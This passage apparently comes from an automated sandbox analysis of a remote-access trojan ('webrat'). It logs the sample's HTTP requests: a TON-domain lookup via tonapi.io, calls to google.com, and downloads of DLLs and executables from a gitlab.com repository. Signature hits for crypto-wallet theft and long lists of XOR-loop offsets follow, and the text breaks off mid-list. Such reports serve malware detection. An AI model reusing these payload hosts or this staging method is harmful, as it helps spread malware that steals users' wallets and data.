684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}31:T2127,Contains base64 string in header "http" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 354Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 75Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 69Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 69Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 69Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 69Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 69Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 69Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: google.comUser-Agent: Go-http-client/1.1Content-Length: 69Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "/raw/main/7z" in header "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1Host: gitlab.comConnection: Keep-Alive" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1" Contains base64 string in header "/raw/main/7z" in header "GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Contains base64 string in header "/raw/main/AxMSTSCLib" in header "GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1" Contains base64 string in header "/webrat1/importantfiles/" in header "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1" Contains base64 string in header "/raw/main/ffmpeg" in header "GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1"32:T4cf,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Found Crypto currency wallets related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to cryptographic keys Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content)33:T7e22,Found XOR loop in file "SearchUI.exe" at offset 90065; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 111649; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 126900; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 264408; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 446671; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 512950; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 544010; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 577386; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 805747; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 817385; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 823294; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 983078; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1029485; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1211536; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1215101; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1342065; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1355645; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1425896; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1485400; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1539655; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1610160; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1635356; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1768875; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1837961; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1856099; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1862810; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1923268; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1982465; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2065649; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2123263; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2169411; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2190726; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2197172; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2273905; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2274740; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2308573; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2331118; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2331619; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2362820; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2375499; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2451711; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2605437; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2678114; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2717480; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2746877; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2845592; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2859749; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 2982406; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 3047471; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 3143717; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 3200156; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 3235403; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 3403739; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 3469996; code bytes = 30d0 Found XOR loop in file "SearchUI.exe" at offset 1546; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 75728; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 171560; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 189031; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 233543; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 249160; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 310194; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 332621; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 450350; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 615229; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 732165; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 941031; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1008411; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1113821; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1123387; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1178526; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1199250; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1218284; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1229828; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1319613; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1450106; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1629939; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1685153; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1702460; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1727152; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1743638; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1849153; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1855522; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1923899; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 1966917; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2155524; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2197274; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2241898; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2392632; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2507813; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2529731; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2592308; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2602603; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2654425; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2790691; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2867878; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 2949397; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 3014113; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 3019707; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 3066184; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 3109931; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 3341456; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 3448653; code bytes = 33c1 Found XOR loop in file "SearchUI.exe" at offset 391238; code bytes = 30040e Found XOR loop in file "SearchUI.exe" at offset 17084; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 181182; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 214271; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 262714; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 281198; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 331468; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 379976; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 467078; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 546103; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 708820; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 729874; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 753501; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 1120044; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 1212781; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 1475161; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 1780821; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2023038; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2211638; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2234986; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2250337; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2270641; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2277328; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2320690; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2372930; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2467110; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2521678; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2556672; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2637811; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2681659; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2739027; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2846558; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 2974962; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3053033; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3062543; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3094389; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3246674; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3389815; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3459205; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3477622; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3480960; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3507182; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3557351; code bytes = 8030 Found XOR loop in file "SearchUI.exe" at offset 3576982; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 90065; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 111649; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 126900; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 264408; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 446671; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 512950; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 544010; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 577386; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 805747; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 817385; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 823294; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 983078; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1029485; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1211536; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1215101; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1342065; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1355645; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1425896; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1485400; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1539655; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1610160; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1635356; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1768875; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1837961; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1856099; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1862810; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1923268; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1982465; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2065649; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2123263; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2169411; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2190726; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2197172; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2273905; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2274740; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2308573; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2331118; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2331619; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2362820; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2375499; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2451711; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2605437; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2678114; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2717480; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2746877; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2845592; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2859749; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 2982406; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 3047471; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 3143717; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 3200156; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 3235403; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 3403739; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 3469996; code bytes = 30d0 Found XOR loop in file "smss.exe" at offset 1546; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 75728; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 171560; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 189031; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 233543; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 249160; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 310194; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 332621; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 450350; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 615229; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 732165; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 941031; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1008411; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1113821; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1123387; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1178526; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1199250; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1218284; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1229828; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1319613; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1450106; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1629939; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1685153; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1702460; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1727152; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1743638; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1849153; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1855522; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1923899; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 1966917; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2155524; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2197274; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2241898; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2392632; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2507813; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2529731; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2592308; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2602603; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2654425; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2790691; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2867878; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 2949397; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 3014113; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 3019707; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 3066184; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 3109931; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 3341456; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 3448653; code bytes = 33c1 Found XOR loop in file "smss.exe" at offset 391238; code bytes = 30040e Found XOR loop in file "smss.exe" at offset 17084; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 181182; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 214271; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 262714; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 281198; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 331468; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 379976; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 467078; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 546103; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 708820; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 729874; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 753501; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 1120044; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 1212781; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 1475161; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 1780821; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2023038; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2211638; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2234986; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2250337; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2270641; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2277328; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2320690; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2372930; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2467110; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2521678; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2556672; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2637811; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2681659; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2739027; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2846558; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 2974962; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3053033; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3062543; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3094389; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3246674; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3389815; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3459205; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3477622; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3480960; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3507182; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3557351; code bytes = 8030 Found XOR loop in file "smss.exe" at offset 3576982; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 90065; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 111649; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 126900; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 264408; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 446671; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 